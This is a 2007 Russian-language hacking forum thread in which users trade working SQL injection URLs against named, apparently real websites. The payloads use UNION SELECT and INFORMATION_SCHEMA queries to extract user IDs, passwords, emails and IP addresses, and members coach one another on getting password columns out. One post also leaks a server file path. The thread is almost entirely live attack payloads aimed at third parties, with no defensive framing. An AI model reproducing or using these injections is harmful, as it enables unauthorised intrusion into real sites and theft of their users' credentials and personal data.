ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #2911  
Старый 23.08.2007, 12:41
Аватар для t00th
t00th
Banned
Регистрация: 15.07.2007
Сообщений: 39
Провел на форуме:
1122110

Репутация: 43
По умолчанию

Вроде вывода нету,кто сможет вывести скажите как
Код:
http://www.amusic.hk/index.php?i=news&id=1'+union+select+id,password,3,4,5,6,7,8+from+a_users/*
Не смог подобрать таблицы
Код:
http://www.gcc.ca/newsarticle.php?id=1+union+select+1,2,3,4,5/*
 
Ответить с цитированием

  #2912  
Старый 23.08.2007, 12:41
Аватар для SWAT
SWAT
Участник форума
Регистрация: 14.12.2006
Сообщений: 211
Провел на форуме:
1541753

Репутация: 552
По умолчанию

Код:
http://www.game-ost.ru/news_comments.php?id=-298+union+select+1,2,3,4,5,6,7,8,9,10/*
 
Ответить с цитированием

  #2913  
Старый 23.08.2007, 12:43
Аватар для x.Elf
x.Elf
Познающий
Регистрация: 24.05.2007
Сообщений: 38
Провел на форуме:
114515

Репутация: 29
Отправить сообщение для x.Elf с помощью ICQ
По умолчанию

http://3d-sex-villa.info/?view=-1+union+select+version()/*
дак вот ) там нет вывода на странице )
http://3d-sex-villa.info/?image=-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(version() ,0x71),0x71)/*
четвертый мускул....кому не лень - подбирайте таблицы...
+ еще:
/home/sparkxxx/domains/3d-sex-villa.info/public_html/

Последний раз редактировалось x.Elf; 23.08.2007 в 12:51..
 
Ответить с цитированием

  #2914  
Старый 23.08.2007, 13:22
Аватар для groundhog
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

www.akabel.ru:
Цитата:
http://www.akabel.ru/catalog.php?c=1&e=-11+UNION+SELECT+1,2,3,TABLE_NAME,5,6+FROM+INFORMAT ION_SCHEMA.TABLES/*
Цитата:
http://www.akabel.ru/catalog.php?c=1&e=-11+UNION+SELECT+1,2,3,COLUMN_NAME,5,6+FROM+INFORMA TION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=CHAR(0x72,0x7 7,0x64,0x5F,0x75,0x73,0x65,0x72,0x73)/*
 
Ответить с цитированием

  #2915  
Старый 23.08.2007, 13:50
Аватар для groundhog
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

www.shopping-spb.ru (вывод в тайтл):
Цитата:
http://www.shopping-spb.ru/index.php?page_id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,CONCAT(VERSION(),0x3a,USER(),0x3a,DATABASE( )),19/*
 
Ответить с цитированием

  #2916  
Старый 23.08.2007, 15:21
Аватар для Dr.Frank
Dr.Frank
Постоянный
Регистрация: 31.07.2002
Сообщений: 312
Провел на форуме:
1212427

Репутация: 187
Отправить сообщение для Dr.Frank с помощью ICQ
По умолчанию

2t00th:
Код:
http://www.amusic.hk/index.php?i=news&id=1%27+union+select+1,2,3,4,concat(id,0x3a,password),version(),7,8+from+a_users/*
 
Ответить с цитированием

  #2917  
Старый 23.08.2007, 17:15
Аватар для SWAT
SWAT
Участник форума
Регистрация: 14.12.2006
Сообщений: 211
Провел на форуме:
1541753

Репутация: 552
По умолчанию

Код:
http://www.gamesector.org/review.php?id=-225+union+select+1,2,concat_ws(0x3a,id,name,email,ip_address),4,5,6,7+from+ibf_members/*
 
Ответить с цитированием

  #2918  
Старый 23.08.2007, 17:59
Аватар для groundhog
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

MS SERVER.

Цитата:
http://www.tours.ru/shop/default.asp?top_id=1+OR+1=@@version+--+
Цитата:
http://www.tours.ru/shop/default.asp?top_id=1+OR+1=(SELECT+DB_NAME())+--+
Цитата:
http://www.tours.ru/shop/default.asp?top_id=1+OR+1=(SELECT+SYSTEM_USER)+--+
Цитата:
http://www.tours.ru/shop/default.asp?top_id=1+OR+1=(SELECT+TOP+1+TABLE_NAME +FROM+INFORMATION_SCHEMA.TABLES)+--+
 
Ответить с цитированием

  #2919  
Старый 23.08.2007, 19:11
Аватар для fobofob
fobofob
Участник форума
Регистрация: 02.08.2007
Сообщений: 242
Провел на форуме:
1373642

Репутация: 569
По умолчанию

походу тут интересно,жаль я не очень пока разбираюсь что с этим дальше делать

код:

http;//www.webmarket.mobi/ wm.php?id=-3+unio n+select+1 ,column_ name ,3 ,4 ,5 , 6+from+informatio n_schema.col umns/*
 
Ответить с цитированием

  #2920  
Старый 23.08.2007, 20:00
Аватар для fobofob
fobofob
Участник форума
Регистрация: 02.08.2007
Сообщений: 242
Провел на форуме:
1373642

Репутация: 569
По умолчанию

код:
http://www.ezgulik.org/news.php?id=-197+union+select+1,2,3,user(),5,6/*
мускул 4 версии
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ